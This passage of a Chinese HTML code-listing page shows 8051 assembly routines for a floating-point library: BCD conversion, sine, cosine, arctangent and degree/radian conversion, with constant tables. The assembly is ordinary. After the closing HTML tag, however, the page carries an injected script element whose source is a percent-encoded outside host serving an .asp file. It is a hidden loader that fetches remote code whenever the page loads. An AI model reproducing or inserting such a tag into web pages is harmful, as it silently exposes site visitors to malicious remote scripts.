?? 學習單片機7.htm
字號:
C<BR>RET<BR>FTD8: MOV A,R2 ;按規(guī)定的整數(shù)位數(shù)進行右規(guī)<BR>CJNE A,B,FTD9<BR>MOV
A,R3 ;將雙字節(jié)結果傳送到[R0]中<BR>MOV @R0,A<BR>INC R0<BR>MOV A,R4<BR>MOV
@R0,A<BR>DEC R0<BR>RET<BR>FTD9: CLR C<BR>LCALL RR1 ;右規(guī)一次<BR>SJMP
FTD8</P>
<P>(26) 標號: BTOF 功能:浮點BCD碼轉換成格式化浮點數(shù)</P>
<P>入口條件:浮點BCD碼操作數(shù)在[R0]中。<BR>出口信息:轉換成的格式化浮點數(shù)仍在[R0]中。<BR>影響資源:PSW、A、B、R2~R7、位1DH~1FH
堆棧需求:6字節(jié)<BR>BTOF: INC R0 ;判斷是否為零。<BR>INC R0<BR>MOV A,@R0<BR>MOV
R7,A<BR>DEC R0<BR>MOV A,@R0<BR>MOV R6,A<BR>DEC R0<BR>ORL A,R7<BR>JNZ
BTF0<BR>MOV @R0,#41H;為零,轉換結束。<BR>RET<BR>BTF0: MOV A,@R0<BR>MOV
C,ACC.7<BR>MOV 1DH,C ;保存數(shù)符。<BR>CLR 1FH ;以絕對值進行轉換。<BR>MOV C,ACC.6
;擴充階碼為八位。<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>JNC BTF1<BR>ADD A,#19
;是否小于1E-19?<BR>JC BTF2<BR>MOV @R0,#41H;小于1E-19時以0計。<BR>INC R0<BR>MOV
@R0,#0<BR>INC R0<BR>MOV @R0,#0<BR>DEC R0<BR>DEC R0<BR>RET<BR>BTF1:
SUBB A,#19<BR>JC BTF2<BR>MOV A,#3FH ;大于1E19時封頂。<BR>MOV C,1DH<BR>MOV
ACC.7,C<BR>MOV @R0,A<BR>INC R0<BR>MOV @R0,#0FFH<BR>INC R0<BR>MOV
@R0,#0FFH<BR>DEC R0<BR>DEC R0<BR>RET<BR>BTF2: CLR A
;準備將BCD碼尾數(shù)轉換成十六進制浮點數(shù)。<BR>MOV R4,A<BR>MOV R3,A<BR>MOV R2,#10H
;至少兩個字節(jié)。<BR>BTF3: MOV A,R7<BR>ADD A,R7<BR>DA A<BR>MOV R7,A<BR>MOV
A,R6<BR>ADDC A,R6<BR>DA A<BR>MOV R6,A<BR>MOV A,R4<BR>RLC A<BR>MOV
R4,A<BR>MOV A,R3<BR>RLC A<BR>MOV R3,A<BR>DEC R2<BR>JNB
ACC.7,BTF3;直到尾數(shù)規(guī)格化。<BR>MOV A,R6 ;四舍五入。<BR>ADD A,#0B0H<BR>CLR
A<BR>ADDC A,R4<BR>MOV R4,A<BR>CLR A<BR>ADDC A,R3<BR>MOV R3,A<BR>JNC
BTF4<BR>MOV R3,#80H<BR>INC R2<BR>BTF4: MOV
DPTR,#BTFL;準備查表得到十進制階碼對應的浮點數(shù)。<BR>MOV A,@R0<BR>ADD A,#19
;計算表格偏移量。<BR>MOV B,#3<BR>MUL AB<BR>ADD A,DPL<BR>MOV DPL,A<BR>JNC
BTF5<BR>INC DPH<BR>BTF5: CLR A ;查表。<BR>MOVC A,@A+DPTR<BR>MOV
C,ACC.6<BR>MOV ACC.7,C<BR>MOV R5,A<BR>MOV A,#1<BR>MOVC
A,@A+DPTR<BR>MOV R6,A<BR>MOV A,#2<BR>MOVC A,@A+DPTR<BR>MOV
R7,A<BR>LCALL MUL1 ;將階碼對應的浮點數(shù)和尾數(shù)對應的浮點數(shù)相乘。<BR>MOV C,1DH ;取出數(shù)符。<BR>MOV
1FH,C<BR>LJMP MOV0 ;傳送轉換結果。</P>
<P>(27) 標號: FTOB 功能:格式化浮點數(shù)轉換成浮點BCD碼</P>
<P>入口條件:格式化浮點操作數(shù)在[R0]中。<BR>出口信息:轉換成的浮點BCD碼仍在[R0]中。<BR>影響資源:PSW、A、B、R2~R7、位1DH~1FH
堆棧需求:6字節(jié)<BR>FTOB: INC R0<BR>MOV A,@R0<BR>INC R0<BR>ORL A,@R0<BR>DEC
R0<BR>DEC R0<BR>JNZ FTB0<BR>MOV @R0,#41H<BR>RET<BR>FTB0: MOV
A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C<BR>CLR ACC.7<BR>MOV @R0,A<BR>LCALL
MVR0<BR>MOV DPTR,#BFL0;絕對值大于或等于1時的查表起點。<BR>MOV B,#0 ;十的0次冪。<BR>MOV
A,R2<BR>JNB ACC.7,FTB1<BR>MOV DPTR,#BTFL;絕對值小于1E-6時的查表起點。<BR>MOV
B,#0EDH ;十的-19次冪。<BR>ADD A,#16<BR>JNC FTB1<BR>MOV
DPTR,#BFLN;絕對值大于或等于1E-6時的查表起點。<BR>MOV B,#0FAH ;十的-6次冪。<BR>FTB1: CLR
A ;查表,找到一個比待轉換浮點數(shù)大的整數(shù)冪。<BR>MOVC A,@A+DPTR<BR>MOV C,ACC.6<BR>MOV
ACC.7,C<BR>MOV R5,A<BR>MOV A,#1<BR>MOVC A,@A+DPTR<BR>MOV R6,A<BR>MOV
A,#2<BR>MOVC A,@A+DPTR<BR>MOV R7,A<BR>MOV A,R5 ;和待轉換浮點數(shù)比較。<BR>CLR
C<BR>SUBB A,R2<BR>JB ACC.7,FTB2;差為負數(shù)。<BR>JNZ FTB3<BR>MOV A,R6<BR>CLR
C<BR>SUBB A,R3<BR>JC FTB2<BR>JNZ FTB3<BR>MOV A,R7<BR>CLR C<BR>SUBB
A,R4<BR>JC FTB2<BR>JNZ FTB3<BR>MOV R5,B ;正好是表格中的數(shù)。<BR>INC R5
;冪加一。<BR>MOV R6,#10H ;尾數(shù)為0·1000。<BR>MOV R7,#0<BR>SJMP FTB6
;傳送轉換結果。<BR>FTB2: INC DPTR ;準備表格下一項。<BR>INC DPTR<BR>INC DPTR<BR>INC
B ;冪加一。<BR>SJMP FTB1 ;<BR>FTB3: PUSH B ;保存冪值。<BR>LCALL DIV3
;相除,得到一個二進制浮點數(shù)的純小數(shù)。<BR>FTB4: MOV A,R2 ;取階碼。<BR>JZ FTB5 ;為零嗎?<BR>CLR
C<BR>LCALL RR1 ;右規(guī)。<BR>SJMP FTB4<BR>FTB5: POP ACC ;取出冪值。<BR>MOV R5,A
;作為十進制浮點數(shù)的階碼。<BR>LCALL HB2 ;轉換尾數(shù)的十分位和百分位。<BR>MOV R6,A<BR>LCALL HB2
;轉換尾數(shù)的千分位和萬分位。<BR>MOV R7,A<BR>MOV A,R3 ;四舍五入。<BR>RLC A<BR>CLR
A<BR>ADDC A,R7<BR>DA A<BR>MOV R7,A<BR>CLR A<BR>ADDC A,R6<BR>DA
A<BR>MOV R6,A<BR>JNC FTB6<BR>MOV R6,#10H<BR>INC R5<BR>FTB6: INC R0
;存放轉換結果。<BR>INC R0<BR>MOV A,R7<BR>MOV @R0,A<BR>DEC R0<BR>MOV
A,R6<BR>MOV @R0,A<BR>DEC R0<BR>MOV A,R5<BR>MOV C,1DH ;取出數(shù)符。<BR>MOV
ACC.7,C<BR>MOV @R0,A<BR>RET<BR>HB2: MOV A,R4 ;尾數(shù)擴大100倍。<BR>MOV
B,#100<BR>MUL AB<BR>MOV R4,A<BR>MOV A,B<BR>XCH A,R3<BR>MOV
B,#100<BR>MUL AB<BR>ADD A,R3<BR>MOV R3,A<BR>JNC HB21<BR>INC
B<BR>HB21: MOV A,B ;將整數(shù)部分轉換成BCD碼。<BR>MOV B,#10<BR>DIV AB<BR>SWAP
A<BR>ORL A,B<BR>RET<BR>BTFL: DB 41H,0ECH,1EH ;1.0000E-19<BR>DB
45H,93H,93H ;1.0000E-18<BR>DB 48H,0B8H,78H ;1.0000E-17<BR>DB
4BH,0E6H,96H ;1.0000E-16<BR>DB 4FH,90H,1DH ;1.0000E-15<BR>DB
52H,0B4H,25H ;1.0000E-14<BR>DB 55H,0E1H,2EH ;1.0000E-13<BR>DB
59H,8CH,0BDH ;1.0000E-12<BR>DB 5CH,0AFH,0ECH ;1.0000E-11<BR>DB
5FH,0DBH,0E7H ;1.0000E-10<BR>DB 63H,89H,70H ;1.0000E-9<BR>DB
66H,0ABH,0CCH ;1.0000E-8<BR>DB 69H,0D6H,0C0H ;1.0000E-7<BR>BFLN: DB
6DH,86H,38H ;1.0000E-6<BR>DB 70H,0A7H,0C6H ;1.0000E-5<BR>DB
73H,0D1H,0B7H ;1.0000E-4<BR>DB 77H,83H,12H ;1.0000E-3<BR>DB
7AH,0A3H,0D7H ;1.0000E-2<BR>DB 7DH,0CCH,0CDH ;1.0000E-1<BR>BFL0: DB
1,80H,00H ;1.0000<BR>DB 4,0A0H,00H ;1.0000E1<BR>DB 7,0C8H,00H
;1.0000E2<BR>DB 0AH,0FAH,00H ;1.0000E3<BR>DB 0EH,9CH,40H
;1.0000E4<BR>DB 11H,0C3H,50H ;1.0000E5<BR>DB 14H,0F4H,24H
;1.0000E6<BR>DB 18H,98H,97H ;1.0000E7<BR>DB 1BH,0BEH,0BCH
;1.0000E8<BR>DB 1EH,0EEH,6BH ;1.0000E9<BR>DB 22H,95H,03H
;1.0000E10<BR>DB 25H,0BAH,44H ;1.0000E11<BR>DB 28H,0E8H,0D5H
;1.0000E12<BR>DB 2CH,91H,85H ;1.0000E13<BR>DB 2FH,0B5H,0E6H
;1.0000E14<BR>DB 32H,0E3H,60H ;1.0000E15<BR>DB 36H,8EH,1CH
;1.0000E16<BR>DB 39H,31H,0A3H ;1.0000E17<BR>DB 3CH,0DEH,0BH
;1.0000E18<BR>DB 40H,8AH,0C7H ;1.0000E19</P>
<P> (28) 標號: FCOS 功能:浮點余弦函數(shù)</P>
<P>入口條件:操作數(shù)在[R0]中。<BR>出口信息:結果仍在[R0]中。<BR>影響資源:DPTR、PSW、A、B、R2~R7、位1DH~1FH
堆棧需求: 6字節(jié)<BR>FCOS: LCALL FABS ;COS(-X) = COS X<BR>MOV R5,#1
;常數(shù)1.5708(π/2)<BR>MOV R6,#0C9H<BR>MOV R7,#10H<BR>CLR 1EH<BR>LCALL
MVR0<BR>CLR F0<BR>LCALL AS1 ;x+(π/2)<BR>LCALL MOV0
;保存結果,接著運行下面的FSIN程序</P>
<P>(29) 標號: FSIN 功能:浮點正弦函數(shù)</P>
<P>入口條件:操作數(shù)在[R0]中。<BR>出口信息:結果仍在[R0]中。<BR>影響資源:DPTR、PSW、A、B、R2~R7、位1DH~1FH
堆棧需求: 6字節(jié)<BR>FSIN: MOV A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C
;保存自變量的符號<BR>CLR ACC.7 ;統(tǒng)一按正數(shù)計算<BR>MOV @R0,A<BR>LCALL MVR0
;將[R0]傳送到第一工作區(qū)<BR>MOV R5,#0 ;系數(shù)0.636627(2/π)<BR>MOV R6,#0A2H<BR>MOV
R7,#0FAH<BR>CLR 1EH<BR>LCALL MUL1 ;相乘,自變量按(π/2)規(guī)一化<BR>MOV A,R2
;將結果復制到第二區(qū)<BR>MOV R5,A<BR>MOV A,R3<BR>MOV R6,A<BR>MOV A,R4<BR>MOV
R7,A<BR>LCALL INT ;第一區(qū)取整,獲得象限信息<BR>MOV A,R2<BR>JZ SIN2<BR>SIN1: CLR
C ;將浮點象限數(shù)轉換成定點象限數(shù)<BR>LCALL RR1<BR>CJNE R2,#10H,SIN1<BR>MOV
A,R4<BR>JNB ACC.1,SIN2<BR>CPL 1DH ;對于第三、四象限,結果取反<BR>SIN2: JB
ACC.0,SIN3<BR>CPL 1FH ;對于第一、三象限,直接求規(guī)一化的小數(shù)<BR>SJMP SIN4<BR>SIN3: MOV
A,R4 ;對于第二、四象限,準備求其補數(shù)<BR>INC A<BR>MOV R4,A<BR>JNZ SIN4<BR>INC
R3<BR>SIN4: LCALL RLN ;規(guī)格化<BR>SETB F0<BR>LCALL AS1
;求自變量歸一化等效值<BR>LCALL MOV0 ;回傳<BR>LCALL FPLN ;用多項式計算正弦值<BR>DB
7DH,93H,28H;0.07185<BR>DB 41H,0,0 ;0<BR>DB
80H,0A4H,64H;-0.64215<BR>DB 41H,0,0 ;0<BR>DB 1,0C9H,2;1.5704<BR>DB
41H,0,0 ;0<BR>DB 40H ;結束<BR>MOV A,@R0 ;結果的絕對值超過1.00嗎?<BR>JZ
SIN5<BR>JB ACC.6,SIN5<BR>INC R0 ;絕對值按1.00封頂<BR>MOV @R0,#80H<BR>INC
R0<BR>MOV @R0,#0<BR>DEC R0<BR>DEC R0<BR>MOV A,#1<BR>SIN5: MOV C,1DH
;將數(shù)符拼入結果中<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>RET<BR> <BR>(30) 標號: FATN
功能:浮點反正切函數(shù)</P>
<P>入口條件:操作數(shù)在[R0]中。<BR>出口信息:結果仍在[R0]中。<BR>影響資源:DPTR、PSW、A、B、R2~R7、位1CH~1FH
堆棧需求:7字節(jié)<BR>FATN: MOV A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C
;保存自變量數(shù)符<BR>CLR ACC.7 ;自變量取絕對值<BR>MOV @R0,A<BR>CLR 1CH
;清求余運算標志<BR>JB ACC.6,ATN1;自變量為純小數(shù)否?<BR>JZ ATN1<BR>SETB 1CH
;置位求余運算標志<BR>LCALL FRCP ;通過倒數(shù)運算,轉換成純小數(shù)<BR>ATN1: LCALL FPLN
;通過多項式運算,計算反正切函數(shù)值<BR>DB 0FCH,0E4H,91H;-0.055802<BR>DB
7FH,8FH,37H;0.27922<BR>DB 0FFH,0EDH,0E0H;-0.46460<BR>DB
7BH,0E8H,77H;0.028377<BR>DB 0,0FFH,68H;0.9977<BR>DB
72H,85H,0ECH;3.1930×10-5<BR>DB 40H ;結束<BR>JNB
1CH,ATN2;需要求余運算否?<BR>CPL 1FH ;準備運算標志<BR>MOV C,1FH<BR>MOV F0,C
;常數(shù)1.5708(π/2)<BR>MOV R5,#1<BR>MOV R6,#0C9H<BR>MOV R7,#10H<BR>LCALL
AS1 ;求余運算<BR>LCALL MOV0 ;回傳<BR>ATN2: MOV A,@R0 ;拼入結果的數(shù)符<BR>MOV
C,1DH<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>RET<BR> <BR>(31) 標號: RTOD
功能:浮點弧度數(shù)轉換成浮點度數(shù)</P>
<P>入口條件:浮點弧度數(shù)在[R0]中。<BR>出口信息:轉換成的浮點度數(shù)仍在[R0]中。<BR>影響資源:PSW、A、B、R2~R7、位1EH、1FH
堆棧需求:6字節(jié)<BR>RTOD: MOV R5,#6 ;系數(shù)(180/π)傳送到第二工作區(qū)<BR>MOV
R6,#0E5H<BR>MOV R7,#2FH<BR>SJMP DR ;通過乘法進行轉換</P>
<P>(32) 標號: DTOR 功能:浮點度數(shù)轉換成浮點弧度數(shù)</P>
<P>入口條件:浮點度數(shù)在[R0]中。<BR>出口信息:轉換成的浮點弧度數(shù)仍在[R0]中。<BR>影響資源:PSW、A、B、R2~R7、位1EH、1FH
堆棧需求:6字節(jié)<BR>DTOR: MOV R5,#0FBH;系數(shù)(π/180)傳送到第二工作區(qū)<BR>MOV
R6,#8EH<BR>MOV R7,#0FAH<BR>DR: LCALL MVR0 ;將[R0]傳送到第一工作區(qū)<BR>CLR 1EH
;系數(shù)為正<BR>LCALL MUL1 ;通過乘法進行轉換<BR>LJMP MOV0 ;結果傳送到[R0]中<BR>END</P>
<P> </P></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><A
href="http://www.zsgbailin.com/inages/xxtd/index.htm">網(wǎng)站首頁</A>
</P></TD></TR></TBODY></TABLE>
<TABLE height=21 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<HR color=#ff00ff>
</TD></TR></TBODY></TABLE>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><FONT face=宋體 color=#800080>聲明:
部分文章來源于網(wǎng)絡/若有侵犯你的權益/請聯(lián)系我立即刪除</FONT>
</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
<TBODY>
<TR>
<TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -